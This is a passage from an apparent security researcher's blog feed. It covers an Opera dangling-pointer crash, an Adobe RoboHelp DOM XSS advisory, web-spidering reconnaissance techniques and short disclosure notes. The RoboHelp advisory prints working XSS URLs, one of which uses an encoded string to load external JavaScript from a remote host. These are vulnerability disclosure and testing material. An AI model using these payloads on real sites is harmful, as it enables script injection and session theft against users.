      &lt;td&gt;0:000&gt; dd edx &lt;br /&gt;
        03bea1e0  &lt;strong&gt;000005c7&lt;/strong&gt; 00000000 00000000 00000000 &lt;br /&gt;
        03bea1f0  00000000 00000000 00000000 00020080 &lt;br /&gt;
        03bea200  00000000 00000000 00000000 00000000 &lt;br /&gt;
        03bea210  036da8b8 010801ff 01cbcd40 00000000 &lt;br /&gt;
        03bea220  03bea720 03bea250 03bea250 03e00b90 &lt;br /&gt;
        03bea230  00000000 40120356 40000801 05378640 &lt;br /&gt;
        03bea240  03c4457c 01ba049c 036da8b8 010801ff &lt;br /&gt;
        03bea250  03bea218 00000000 00000000 00000000 &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;The initial pointer 03bea1e0 (now a dangling pointer) refers to an invalid memory address value. This value ends  up in the eax register at the crash.  &lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Statement from Opera:&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;&quot;&lt;em&gt;We have not been able to see any angles this can be exploited by. The dangling pointer was pointing to an HTML element object, which has no virtual interfaces. The crash happens reliably in a function traversing the tree and finding the next such element, while the stack leading to that function can vary, depending on the circumstances&lt;/em&gt;.&quot;  &lt;/p&gt;</description>
	<pubDate>Thu, 20 Oct 2011 02:21:00 GMT</pubDate>
</item>	
				
				
				<item>
    <title>Adobe RoboHelp 9 DOM Cross Site Scripting</title>
    <link>http://malerisch.net/docs/advisories/adobe_robohelp_dom_cross_site_scripting_xss.html</link>
    <description>11/08/2011 - Back in May while doing an application intrusion testing, I have found an interesting DOM Cross Site Scripting in a part of the application which was generated with &lt;a href=&quot;http://www.adobe.com/products/robohelp.html&quot;&gt;Adobe RoboHelp&lt;/a&gt; software. At the begin, I thought I have found a bug which was already discovered and a &lt;a href=&quot;http://www.google.com/search?q=adobe+robohelp+xss&quot;&gt;Google search&lt;/a&gt; seemed to confirm my doubt, as I couldn't find out what Adobe RoboHelp version was used. However, all the bug entries I could find looked different and some of them were lacking an  accurate description,  payloads and examples.&lt;br /&gt;
    &lt;br /&gt;
    So I have decided to download the latest version of Adobe RoboHelp and give it a try. Funny enough, after five minutes I have found another DOM cross site scripting injection point! It seems that RoboHelp has a &lt;a href=&quot;http://secunia.com/advisories/search/?search=adobe+robohelp&quot;&gt;history&lt;/a&gt; with XSS bugs (probably because it is just HTML and JavaScript content after all).&lt;br /&gt;
    &lt;br /&gt;
    It is worth to say that at that time I also a got a preview of the &lt;a href=&quot;http://blog.mindedsecurity.com/2011/05/dominator-project.html&quot;&gt;DOMinator&lt;/a&gt; tool developed by  Stefano Di Paola and wanted to test it and see if it would find the same bug. By browsing the site with DOMinator, in a matter of  few seconds  I could see the red alert showing up and highlighting the same vulnerable point. It is definitely a tool to try when looking for DOM XSS bugs.&lt;br /&gt;
    &lt;br /&gt;
    &lt;strong&gt;Advisory &lt;/strong&gt;&lt;br /&gt;
    &lt;br /&gt;
    Name:	Adobe RoboHelp 9.0 – DOM Cross Site Scripting&lt;br /&gt;
    Vendor: Website	http://www.adobe.com&lt;br /&gt;
    Date Released:	August 11th, 2011 – &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2133&quot;&gt;CVE-2011-2133&lt;/a&gt;&lt;br /&gt;
    Affected Software:	versions 9.0.1.232 and earlier&lt;br /&gt;
    Researcher:
Roberto Suggi Liverani&lt;br /&gt;
&lt;br /&gt;
Original Security Advisory (PDF): &lt;a href=&quot;http://www.security-assessment.com/files/documents/advisory/Adobe_RoboHelp_9_-_DOM_XSS.pdf&quot;&gt;http://www.security-assessment.com/files/documents/advisory/Adobe_RoboHelp_9_-_DOM_XSS.pdf&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
    &lt;strong&gt;Description&lt;/strong&gt;&lt;br /&gt;
    &lt;br /&gt;
    Web content generated by Adobe RoboHelp software using the WebHelp format is vulnerable to &lt;a href=&quot;http://www.webappsec.org/projects/articles/071105.shtml&quot;&gt;DOM (or type-0) Cross Site Scripting&lt;/a&gt; attacks. The issue is due to the use of unsafe JavaScript code handling by the location.hash DOM property. This property is employed to load a frame within the context of a web site generated with RoboHelp. However, a malicious user can send a link which includes JavaScript code in the fragment part of the URL scheme, as demonstrated in the following example:&lt;br /&gt;
    &lt;/p&gt;
  &lt;p&gt;JavaScript Injection:&lt;br /&gt;
    http://example.com/WebHelp/index.html#%22onload=%22JAVASCRIPT_PAYLOAD_HERE&lt;br /&gt;
    &lt;br /&gt;
    In this case, use of the double quote character allows injection of frame attributes and event handlers, such as onload. The onload handler can be used to execute arbitrary JavaScript code. The above injection will result as the following in the DOM context of the index.html page:&lt;br /&gt;
    &lt;br /&gt;
    Injection in the DOM:&lt;br /&gt;
    &lt;frame scrolling=&quot;auto&quot; name=&quot;bsscright&quot; title=&quot;Topic&quot; border=&quot;1&quot; frameborder=&quot;1&quot; id=&quot;topic&quot; onload=&quot;JAVASCRIPT_PAYLOAD_HERE&quot; src=&quot;&quot;&gt;&lt;/frame&gt;&lt;br /&gt;
    &lt;br /&gt;
    &lt;strong&gt;Exploitation&lt;/strong&gt;&lt;br /&gt;
    &lt;br /&gt;
    This vulnerability can be exploited in several ways. One example is to include an external JavaScript file, such as a JavaScript hook file provided by &lt;a href=&quot;http://beefproject.com/&quot;&gt;BEeF&lt;/a&gt;, the browser exploitation framework. The exploit below makes use of the String.fromCharCode method to specify the URI of an external JavaScript file. In this example, it points to &quot;http://malerisch.net/a.js&quot;, a JavaScript PoC (Proof of Concept) file which pops up an alert message window:&lt;br /&gt;
    &lt;br /&gt;
    DOM XSS Including External JavaScript File&lt;br /&gt;
    http://example.com/WebHelp/index.htm#%22onload=%22a=document.createElement%28%27script%27%29;a.setAttribute%28%27src%27,String.fromCharCode%28104,116,116,112,58,47,47,109,97,108,101,114,105,115,99,104,46,110,101,116,47,97,46,106,115%29%29;document.body.appendChild%28a%29&lt;br /&gt;
    &lt;br /&gt;
    Rendered in DOM:&lt;br /&gt;
    &lt;br /&gt;
    &lt;frame scrolling=&quot;auto&quot; name=&quot;bsscright&quot; title=&quot;Topic&quot; border=&quot;1&quot; frameborder=&quot;1&quot; id=&quot;topic&quot; onload=&quot;a=document.createElement('script');a.setAttribute('src',String.fromCharCode(104,116,116,112,58,47,47,109,97,108,101,114,105,115,99,104,46,110,101,116,47,97,46,106,115));document.body.appendChild(a);&quot; src=&quot;&quot;&gt;&lt;/frame&gt;&lt;br /&gt;
    &lt;br /&gt;
    &lt;img src=&quot;http://malerisch.net/images/firebug_screenshot.png&quot; alt=&quot;&quot; width=&quot;647&quot; height=&quot;128&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
    The above attack has been successfully reproduced with the following browser/OS:&lt;/p&gt;
  &lt;p&gt;-	Firefox 3.5.16 – Windows XP SP3&lt;br /&gt;
    -	Google Chrome 11.0.696.69 – Windows XP SP3&lt;br /&gt;
    -	IE 8.0.6001.18702 – Windows XP SP3&lt;br /&gt;
    -	Opera 11.10 – build 2092 – Windows XP SP3&lt;br /&gt;
    &lt;br /&gt;
    &lt;strong&gt;Solution&lt;/strong&gt;&lt;br /&gt;
    &lt;br /&gt;
    Adobe validated this security issue and updated the Adobe RoboHelp software to address this issue.&lt;br /&gt;
    &lt;br /&gt;
    The fix is incorporated in the updates which can be found at the following URL:&lt;br /&gt;
    &lt;br /&gt;
    &lt;a href=&quot;http://www.adobe.com/support/security/bulletins/apsb11-23.html&quot;&gt;http://www.adobe.com/support/security/bulletins/apsb11-23.html&lt;/a&gt;&lt;br /&gt;
    &lt;br /&gt;
    Security-Assessment.com recommends applying the updates provided by the vendor.&lt;br /&gt;</description>
	<pubDate>Wed, 11 Aug 2011 02:21:00 GMT</pubDate>
</item>	
				
				
				
				<item>
    <title>Unusual Web Spidering Techniques (updated)</title>
    <link>http://malerisch.net/articles/unusual_web_spidering_techniques.html</link>
    <description>08/08/2011 - This is an article made from some of my notes gathered during various web application intrusion tests. &lt;br /&gt;
      &lt;br /&gt;
      I assume that most security testers agree that during a web application security testing (black box case), not all pages are found and there is always a potential that something would be missed, in both manual and automated testing. However, I think it is important to highlight strategies and techniques which can be used to decrease chances that things go unnoticed or missing during a security review. &lt;br /&gt;
      &lt;br /&gt;
      Below, you will find some &lt;em&gt;unusual&lt;/em&gt; techniques which I have found useful and which are not &lt;em&gt;automatically&lt;/em&gt; implemented in most of the spider/crawler engines I normally use. Such techniques require some manual setup and allowed me to  discover additional content and information about the applications I was testing. These techniques are not &lt;em&gt;always&lt;/em&gt; applicable or effective, but the underlying logic  might be reused in many cases or might hopefully give you new ideas on how to approach a more comprehensive spidering.&lt;br /&gt;
      &lt;br /&gt;
      &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Technique&lt;/strong&gt;: &lt;em&gt;Add bogus basic authentication header&lt;/em&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;: Add bogus basic authentication header with dummy credentials (e.g. test:test) to each HTTP request performed. Ideally, this should be done in parallel or after a standard spidering.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Standard Request:&lt;br /&gt;
            GET / HTTP/1.1&lt;br /&gt;
            Host: example.net&lt;br /&gt;
            Response: 200 OK&lt;br /&gt;
            &lt;br /&gt;
            Same request, but additional basic auth header:&lt;br /&gt;
            GET / HTTP/1.1&lt;br /&gt;
            Host: example.net &lt;br /&gt;
            Authorization: Basic dGVzdDp0ZXN0&lt;br /&gt;
            Response: 401 Authorization Required&lt;br /&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Experience&lt;/strong&gt;: I have found this technique useful as in few cases it triggered 401 responses from the web server. This might be useful for identifying parts of the application which require authentication or where  brute-force password attacks are possible. It is important to notice that such login was not identified during the standard spidering and it would have gone unnoticed. The cause of this behaviour was due to an incorrect configuration on a particular web server instance that I was testing.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;br /&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt; &lt;br&gt; &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Technique&lt;/strong&gt;: &lt;em&gt;Spider web site simulating an old browser / client&lt;/em&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;: Spider a web site simulating an old browser or client. This implies that the request should not conform to RFC directives and should be malformed. In few words, the spider  should simulate an old browser to get interesting reactions from the web server or other components, such as load balancers or web proxies.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;In the example below, the Host: header is missing, that would not conform with the HTTP/1.1 &lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.23&quot;&gt;RFC 2616&lt;/a&gt; and would be interpreted by most web servers as a malformed request. In case of Apache, the server  will return the default page for the first virtualhost configured (if virtual hosts are enabled). Request sent to domain example.com&lt;br /&gt;
            &lt;br /&gt;
            GET / HTTP/1.&lt;br /&gt;
            Host: example.com&lt;br /&gt;
            Host: &lt;br /&gt;
            &lt;br /&gt;
            Response:&lt;br /&gt;
            &lt;br /&gt;
            HTTP/1.1 301 Moved Permanently&lt;br /&gt;
            [...]&lt;br /&gt;
            The document has moved &lt;a href=&quot;http://admin.example.net&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
            [...]&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Experience&lt;/strong&gt;: Some web servers like Apache (and also Nginx) might reveal extra information, such as the domain name of the first virtualhost for &lt;a href=&quot;http://httpd.apache.org/docs/current/vhosts/name-based.html#compat&quot;&gt;backward compatibility&lt;/a&gt;, as seen above. This can be useful especially when dealing with large web application testing and need of information gathering. Leaking of additional virtual hosts name means that the  web server might have more than one virtual host configured at the same IP address and therefore multiple domain names might resolve to the same IP address.   In my case, the virtualhost returned a subdomain name which would have taken different hours to guess with a standard DNS domain name brute-force attack.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt; &lt;br&gt;   &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt; &lt;br&gt;  &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Technique&lt;/strong&gt;: &lt;em&gt;Use extra Headers to support CORS&lt;/em&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;: Use extra Headers to support &lt;a href=&quot;http://www.w3.org/TR/cors/#syntax&quot;&gt;CORS&lt;/a&gt;. Use OPTIONS verb for each request.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Example:&lt;br /&gt;
            GET / HTTP/1.1&lt;br /&gt;
            [...]&lt;br /&gt;
            Origin: http://mysite.com &lt;br /&gt;
            [...]&lt;br /&gt;
            &lt;br /&gt;
            Response:&lt;br /&gt;
            [...] &lt;br /&gt;
            Access-Control-Allow-Origin: http://mysite.com&lt;br /&gt;
            Access-Control-Allow-Credentials: true&lt;br /&gt;
            [...] &lt;br /&gt;
            &lt;br /&gt;
            In this case, it is possible to ascertain there is a correlation between example.com and mysite.com. Furthermore, the server indicates that credentials can be sent through.&lt;br /&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Experience&lt;/strong&gt;: I have found the use of appending Origin: header useful in one case where a web site was providing a JSON service which could only be used from a determined &quot;origin&quot;. By inferring the origin domain from the JavaScript code, I have found that the same domain was also allowed in a different part of the application, discovering a further JSON service end-point that the spider did not find in the first place.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt; &lt;br&gt;  &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt; &lt;br&gt;    &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Technique&lt;/strong&gt;: &lt;em&gt;Traverse using custom HTTP Request Headers&lt;/em&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Experience&lt;/strong&gt;: The application included a Java Applet which would make a request using a custom HTTP request header (e.g. Foo: bar). Later, I found out that the same header was used in a routing decision by the application and lead to reach a part of the application which was not found during spidering. Reuse of gathered information, as in the previous case, can be useful and it is important to re-spider the web site content with  the acquired information.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt; &lt;br&gt;   &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt; &lt;br&gt;  &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Technique&lt;/strong&gt;:&lt;em&gt;Traverse site using both HTTP/1.0 and HTTP/1.1&lt;/em&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;: Traverse site using both HTTP/1.0 and HTTP/1.1 and observe differences in responses. Use of HTTP 1.0 might lead the web server to react in a different way than by receiving an HTTP/1.1 instead. Some web servers can be configured to not provide certain content or pages to older client and might redirect those clients to other pages.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Experience&lt;/strong&gt;: This technique was useful only in a single case where the application provided a different section when issuing a request with HTTP/1.0 and an old User-Agent version MSIE 4.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt; &lt;br&gt;  &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;  &lt;br&gt;  &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;&lt;em&gt;&lt;a name=&quot;updated&quot; id=&quot;updated&quot;&gt;&lt;img src=&quot;http://malerisch.net/images/updated.gif&quot; alt=&quot;&quot; width=&quot;44&quot; height=&quot;12&quot; /&gt;&lt;/a&gt;&lt;/em&gt; Technique&lt;/strong&gt;:&lt;em&gt;Traverse site simulating a Mobile Handset and Search Engine Crawler &lt;/em&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;: In some applications, the User-Agent header is used to return certain pages. For example, iPhone or Android users might get redirected to a section of the site which is only supposed to be used by mobile handset users. The same behaviour can be observed for a search engine crawler/robot. Use of a spider bot, such as Googlebot/2.1 might reveal parts of an application which needs to be indexed in search engine results pages but should not be  available to a standard user using a browser. Also, it is known that certain application performs &lt;a href=&quot;http://en.wikipedia.org/wiki/Cloaking&quot;&gt;cloaking&lt;/a&gt; based on User-Agent. A useful resource which provides a comprehensive listing of user agents can be found &lt;a href=&quot;http://www.user-agents.org/&quot;&gt;here&lt;/a&gt;.&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Experience&lt;/strong&gt;: A colleague (&lt;a href=&quot;http://www.morningstarsecurity.com/blog&quot;&gt;Andrew Horton&lt;/a&gt;) remembered me about this technique and I forgot to add it in this list. This technique was useful to me in an instance where I have found a separate part of the application which provided further functionality to mobile users. Interestingly enough, that part of the application had more relaxed security controls than the ones deployed to the main application. Probably, this derives from a false sense of security given by the assumption that browsers  would not use that part of the application.&lt;/td&gt;
        &lt;/tr&gt;
      &lt;/table&gt;
      &lt;p&gt;&lt;strong&gt;&lt;em&gt;&lt;img src=&quot;http://malerisch.net/images/updated.gif&quot; alt=&quot;&quot; width=&quot;44&quot; height=&quot;12&quot; /&gt;&lt;/em&gt; Setting tools&lt;/strong&gt;&lt;br /&gt;
        If &lt;a href=&quot;http://portswigger.net/burp/proxy.html&quot;&gt;Burp Proxy&lt;/a&gt; is used along with its spidering engine, some manual configuration is required. Under Spider options, it is possible to add custom HTTP headers and to tick/un-tick &quot;Use of HTTP Version 1.1&quot;. Modifying the default Spider settings will be sufficient to spider a web site following the above techniques. This is shown in the screen shot below:&lt;br /&gt;
        &lt;br /&gt;
        &lt;em&gt;Changing Burp - Spider Options&lt;/em&gt;&lt;br /&gt;
        &lt;br /&gt;
        &lt;img src=&quot;http://malerisch.net/images/burp_spider_settings.png&quot; width=&quot;620&quot; height=&quot;246&quot; alt=&quot;Burp Spider Settings&quot; /&gt;&lt;br /&gt;
        If a tool is required to go through a proxy, then Burp Proxy can be configured under the Proxy Settings. In this case, it is not possible to add, but instead, use &quot;Match and Replace&quot; and then just insert the custom HTTP header under the Replace tab, as shown below. &lt;br /&gt;
        &lt;br /&gt;
        &lt;em&gt;Changing Burp - Proxy Options&lt;/em&gt;&lt;br /&gt;
        &lt;br /&gt;
        &lt;img src=&quot;http://malerisch.net/images/burp_proxy_settings.png&quot; width=&quot;620&quot; height=&quot;218&quot; alt=&quot;Burp Proxy Settings&quot; /&gt;&lt;br /&gt;
        Some tools allow setting custom HTTP Headers and other elements, such as Cookie through the command line. For example, in &lt;a href=&quot;http://code.google.com/p/skipfish/&quot;&gt;skipfish&lt;/a&gt;, the flag  -C name=val sets a cookie and the flag -H name=val sets a custom HTTP header.&lt;br /&gt;
        &lt;br /&gt;
        The downside of this approach is that if you want to apply more than a single technique against the same target application, you might need to run several spidering/scanning sessions and then merge, update and centralise the results. Also, some tools do not support all mentioned techniques and it might be required to run those tools through a proxy several times.&lt;br /&gt;
        &lt;br /&gt;
        One partial solution for this problem is to have multiple instances of Burp Proxy configured in a chain of proxies. The &quot;last&quot; proxy  in the chain will act as a central point and all the requests would go through it, although some inconsistencies might be faced.&lt;br /&gt;
        &lt;br /&gt;
        For example, one of the issues that I find relates the way HTTP requests/responses are shown in the proxy. Consider two spider engines (A and B). They both spider the same page using different techniques and use Burp Proxy. The server returns 200 OK in both cases, but different content. Note that Spider A requests the same page before than Spider B does. If Burp Proxy is used with the &quot;Target&quot; feature, only the first request/response will be visible under the Target tab. In this case, only the request/response of Spider A will be shown, something which can be misleading, especially if Spider B found something interesting.&lt;br /&gt;
        &lt;br /&gt;
        &lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br /&gt;
        In conclusion, with the planned &lt;a href=&quot;https://www.owasp.org/index.php/Projects/OWASP_Testing_Project/Releases/Testing_Guide_V_4.0/Roadmap&quot;&gt;OWASP Testing Guide v4&lt;/a&gt;, these and other techniques for better spidering should be included to improuve the current &lt;a href=&quot;https://www.owasp.org/index.php/Testing:_Spiders,_Robots,_and_Crawlers_(OWASP-IG-001)&quot;&gt;reconnaissance phase&lt;/a&gt; in the methodology. Ideally, also some web scanner/spiders should implement a similar logic and provide the possibility to run more advanced and complex spidering modules.</description>
	<pubDate>Mon, 08 Aug 2011 02:21:00 GMT</pubDate>
</item>	
				
				
				<item>
    <title>Bridging the Gap - Security and Software Testing</title>
    <link>http://malerisch.net/docs/bridging_the_gap_security_and_software_testing/anztb_2011-bridging_the_gap_security_and_software_testing_roberto_suggi_liverani.html</link>
    <description>28/04/2011 - I have just published my latest presentation on &quot;Bridging the Gap - Security and   Software Testing&quot;, which was presented at the &lt;a href=&quot;http://www.iceaustralia.com/anztb2011/&quot;&gt;ANZTB 2011 Test Conference&lt;/a&gt; in Auckland. The presentation includes some of my personal experiences when working with QA testers during security reviews.&lt;br /&gt;
      &lt;br /&gt;
      The presentation highlights common areas and cases where quality assurance and security testing are very close and  complimentary. 
      Some ideas and suggestions for further collaboration between QA and security testers are also included.
      As usual, any feedback is more than welcome.&lt;br /&gt;
      &lt;br /&gt;
      Presentation - Bridging the Gap - Security and Software Testing - &lt;a href=&quot;http://malerisch.net/docs/bridging_the_gap_security_and_software_testing/anztb_2011-bridging_the_gap_security_and_software_testing_roberto_suggi_liverani.pdf&quot;&gt;download&lt;/a&gt; (PDF)</description>
	<pubDate>Thu, 28 Apr 2011 02:21:00 GMT</pubDate>
</item>	
				
				
				
				<item>
    <title>A confusing disclosure</title>
    <link>http://malerisch.net/articles/ParanoidFragmentSink_and_a_confusing_disclosure.html</link>
    <description>28/03/2011 - 	All started following a &lt;a href=&quot;http://security-assessment.com/files/advisories/WizzRSS_Firefox_Extension_Privileged_Code_Injection.pdf&quot;&gt;security disclosure&lt;/a&gt; of &lt;a href=&quot;http://atta.cked.me&quot;&gt;Nick Freeman&lt;/a&gt; on WizzRSS, the Firefox addon. The author of the addon, Mike Kroger, was confused and thought in &lt;a href=&quot;http://wizzrss.blat.co.za/2009/11/17/so-much-for-nsiscriptableunescapehtmlparsefragment/&quot;&gt;good faith&lt;/a&gt; to follow &lt;a href=&quot;http://adblockplus.org/blog/displaying-web-content-in-an-extension-without-security-issues&quot;&gt;best practices&lt;/a&gt;, using the &lt;em&gt;nsIScriptableUnescapeHTML&lt;/em&gt; class function to perform input validation.  This caught my attention and I decided to do more research on the function and see if there were ways to bypass it. &lt;br /&gt;
        &lt;br /&gt;
        In April 2010, I have released a white paper entitled &quot;&lt;a href=&quot;docs/cross_context_scripting/Cross_Context_Scripting_with_Firefox.html&quot;&gt;Cross Context Scripting with Firefox&lt;/a&gt;&quot;. The white paper included  the research conducted by myself and Nick Freeman on finding bugs in Firefox extensions.  In particular, one technique discussed at section &quot;2.8 Case VIII: &lt;em&gt;Bypassing nsIScriptableUnescapeHTML.parseFragment()&lt;/em&gt;&quot; included examples on how to bypass the aforementioned function. Indeed, the function could not be trusted and Mike Kroger was right. &lt;br /&gt;
        &lt;br /&gt;
        Following the release of the white paper, NIST created a CVE identifier: &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1585&quot;&gt;2010-1585&lt;/a&gt; referring to section 2.8 of the white paper. Following that, I felt I had to contact Mozilla and I have filed a bug report to them on May 2010 - with identifier &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=568395&quot;&gt;568395&lt;/a&gt;. &lt;br /&gt;
        &lt;br /&gt;
        Few days ago, Nick Freeman told me that this bug was fixed as &lt;a href=&quot;http://www.mozilla.org/security/announce/2011/mfsa2011-08.html&quot;&gt;announced by Mozilla&lt;/a&gt;. The bug affected also SeaMonkey and Thunderbird. The bug was re-opened by Daniel Veditz with identifier &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=562547&quot;&gt;562547&lt;/a&gt;. To add further confusion, I am cited as  a &quot;Mozilla Security Developer&quot; in the Mozilla security advisory ;-).</description>
	<pubDate>Mon, 28 Mar 2011 02:21:00 GMT</pubDate>
</item>	
				
				
				
				<item>
    <title>An interesting session fixation attack</title>
    <link>http://malerisch.net/articles/an_interesting_session_fixation_attack.html</link>
    <description>11/03/2011 - 	Oracle has provided a fix for an interesting session fixation attack I have discovered in Oracle WebLogic web server. It's a very simple attack and I initially thought it was possible to mitigate it by changing the WebLogic servlet session configuration. However, it turned out to be a bug ;-). &lt;br /&gt;
      For more details: &lt;a href=&quot;docs/advisories/Oracle_WebLogic_Session_Fixation_Via_HTTP_POST_Request.html&quot;&gt;Oracle WebLogic - Session Fixation Via HTTP POST Request&lt;/a&gt;&lt;br /&gt;
      &lt;br /&gt;
      Watch this space, I will publish some new articles in the next few days. In the meantime, enjoy my new &lt;em&gt;caricature &lt;/em&gt;on the top&lt;em&gt;. &lt;/em&gt;Thanks &lt;a href=&quot;http://www.vivienmasters.com&quot;&gt;Vivien&lt;/a&gt;!&lt;br /&gt;</description>
	<pubDate>Fri, 11 Mar 2011 02:21:00 GMT</pubDate>
</item>	
				
				
				<item>
    <title>Some clarifications</title>
    <link>http://malerisch.net/articles/oracle_jre_sop_bypass_clarifications.html</link>
    <description>04/11/2010 - 	&lt;a href=&quot;http://seclists.org/fulldisclosure/2010/Oct/291&quot;&gt;Some discussion&lt;/a&gt; originated from my latest disclosure of the &lt;em&gt;&lt;a href=&quot;../docs/advisories/Oracle_JRE_-_java.net.URLConnection_class_–_Same-of-Origin_(SOP)_Policy_Bypass_-_CVE-2010-3573.html&quot;&gt;Oracle JRE - java.net.URLConnection class – Same-of-Origin (SOP) Policy Bypass&lt;/a&gt;&lt;/em&gt; bug. The same bug was also found by Stefano Di Paola and reported by Stefano to Oracle and Google on the &lt;a href=&quot;http://blog.mindedsecurity.com/2010/10/java-applet-same-ip-host-access.html&quot;&gt;month of April&lt;/a&gt; 2010. Oddly enough, Oracle created a separate bug identifier for my security report and provided a specific fix for the attached Proof-of-Concept. The bug was labeled by Oracle as: 18316569 &quot;LIMIT HTTP REQUEST COOKIE HEADERS IN HTTPURLCONNECTION&quot;. Stefano's report appears to be labeled differently, as &lt;a href=&quot;http://blog.mindedsecurity.com/2010/10/java-6u21-seven-issues-summary.html&quot;&gt;17322681 &quot;JAVA APPLET SAME IP HOST ACCESS&lt;/a&gt;. However, the underlying root cause of both issues remains the same and it is due to a &lt;a href=&quot;http://download.oracle.com/javase/1.5.0/docs/api/java/net/URL.html#equals(java.lang.Object)&quot;&gt;design principle&lt;/a&gt; which is obsolete in a world where shared hosting is an enterprise solution for many small and medium businesses.&lt;br /&gt;
      &lt;br /&gt;
      Hopefully, following these disclosures, Oracle will do something to align its Java SOP policies to more rigorous standard, such as treating two domains that resolve to the same IP address as two separate entities.&lt;br /&gt;</description>
	<pubDate>Thu, 4 Nov 2010 02:21:00 GMT</pubDate>
</item>	
				
			
				
			
				
				
				<item>
    <title>Kiwicon IV</title>
    <link>http://malerisch.net/articles/kiwiconIV.html</link>
    <description>13/10/2010 - Final speakers announcement for &lt;a href=&quot;https://www.kiwicon.org/&quot;&gt;Kiwicon IV&lt;/a&gt;. Twenty two talks with an impressive line-up of &lt;a href=&quot;https://www.kiwicon.org/the-con/talks/&quot;&gt;presentations&lt;/a&gt;. Well done to the organisers! Kiwicon is getting better and better and I am sure it will be a great conference. Beside, I will be presenting on  &quot;&lt;a href=&quot;https://www.kiwicon.org/the-con/talks/#e31&quot;&gt;&lt;em&gt;Finding Bugs in Software: The Mental Approach and Technical Mythology for Finding Vulnerabilities in Software&lt;/em&gt;&lt;/a&gt;&quot;. Other colleagues will also be presenting so don't miss the conference! &lt;/p&gt;
      &lt;p&gt;Tickets are now sold &lt;a href=&quot;https://www.kiwicon.org/buy/&quot;&gt;online&lt;/a&gt;.&lt;br /&gt;
        &lt;br /&gt;
        Link: &lt;a href=&quot;https://www.kiwicon.org/&quot;&gt;https://www.kiwicon.org/&lt;/a&gt;</description>
	<pubDate>Wed, 13 Oct 2010 02:21:00 GMT</pubDate>
</item>	
				
				
					<item>
    <title>Intoxicated SERPs or... HTML in SERP links</title>
    <link>http://malerisch.net/articles/intoxicated_serps.html</link>
    <description>02/10/2010 - Search Engine Pages in Google result &quot;intoxicated&quot; in an interesting way. The screen shot below I took when looking for &quot;owasp nz&quot; a couple of weeks ago.<br />
    <br />
    <img src="images/intoxicated_serps.png" alt="" width="573" height="392" /> <br />
    <br />
    Not sure why Google indexes links with HTML payload (e.g. &lt;br&gt;) in the subdomain and/or domain name of the links. Further research also reveals the following points:<br />
    <br />
    cache:http://w&lt;br&gt;ww.owasp.org/index.php/OWASP_New_Zealand_Day_2010 - no results returned.<br />
    site:http://w&lt;br&gt;ww.owasp.org/index.php/OWASP_New_Zealand_Day_2010 - one result returned.<br />
